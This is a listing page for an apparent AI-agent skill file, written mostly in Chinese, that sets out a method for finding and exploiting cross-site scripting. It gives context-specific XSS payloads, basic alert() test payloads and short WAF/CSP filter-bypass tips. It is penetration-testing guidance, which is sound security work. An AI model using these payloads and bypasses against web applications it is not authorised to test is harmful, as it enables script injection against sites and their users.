OpenParable
Skip to content
← Back to skills

Xss Methodology

DevOps & Security
xss-methodology

Xss Methodology is an Agent Skill for devops & security published in the wgpsec/AboutSecurity repository on GitHub: a SKILL.md instruction file an AI agent can load to do this task.

反射型/存储型/DOM XSS 的检测、利用和绕过。当 Web 应用有用户输入回显(搜索/评论/表单/URL参数)、或发现存储型内容输出点时使用。包含上下文分析决策树、WAF绕过技巧、CSP绕过方法、DOM Clobbering、mXSS、SVG XSS。优先于其他漏洞测试——XSS 是最低成本的高危漏洞,发现后立即构造 PoC

View on GitHub ↗
QUICK START

How to use this skill

Bring this guide into your coding agent with a prompt tailored to the tool you use.

  1. Open your project in Codex.
  2. Copy and paste the prompt below.
  3. Review files and risks before approving any action.
Prompt to paste
Inspect the Agent Skill at https://github.com/wgpsec/AboutSecurity/blob/HEAD/skills/exploit/web-method/xss-methodology/SKILL.md and all supporting files. Report provenance, permissions, scripts, dependencies, and security risks. Propose an exact installation into .agents/skills/xss-methodology, but wait for my approval before writing files or running scripts.

Copying this prompt does not install or run the skill. Review third-party files before use.

XSS 跨站脚本完整方法论

⛔ 深入参考(遇到 WAF/CSP 时必读)


Phase 0: 回显点发现(最先执行!)

  1. 每个参数发送唯一标记(xss123test),在响应中搜索
  2. 不仅检查 HTML body,也检查响应头(Location:, Set-Cookie:)
  3. 常见:搜索结果页、错误页面、用户资料页

Phase 1: 上下文分析(决定 payload)

上下文示例基础 Payload
HTML 标签间<div>INJECT</div><script>alert(1)</script>
属性值(双引号)<input value="INJECT">" onfocus=alert(1) autofocus="
属性值(单引号)<input value='INJECT'>' onfocus=alert(1) autofocus='
JavaScript 字符串var x="INJECT"";alert(1)//
URL/href<a href="INJECT">javascript:alert(1)
JS 模板字面量var x=`INJECT`${alert(1)} 或 `+alert(1)+`

关键:不同上下文需要不同 payload!先确定上下文再选择。

Phase 2: 基础 XSS 测试

1. <script>alert(1)</script>
2. <img src=x onerror=alert(1)>      ← script 被过滤时
3. <svg onload=alert(1)>
4. " onfocus=alert(1) autofocus="    ← 属性注入

验证:检查响应 HTML 中 payload 是否被原样保留(未编码)。< 变成 &lt; → 已转义,换参数。

Phase 3: 绕过与高级利用

遇到 WAF/过滤 → references/xss-bypass-and-types.md

速查:

  • <script> 被过滤 → <img>, <svg>, <details>, <video>
  • alert 被过滤 → confirm(), prompt(), print()
  • () 被过滤 → alert`1`
  • CSP 限制 → 检查 unsafe-inline / nonce / JSONP 端点

注意事项

  • 先测回显再测注入:没有回显就没有 XSS
  • HTTP-only Cookie 无法通过 XSS 窃取
  • 记录每个参数的编码行为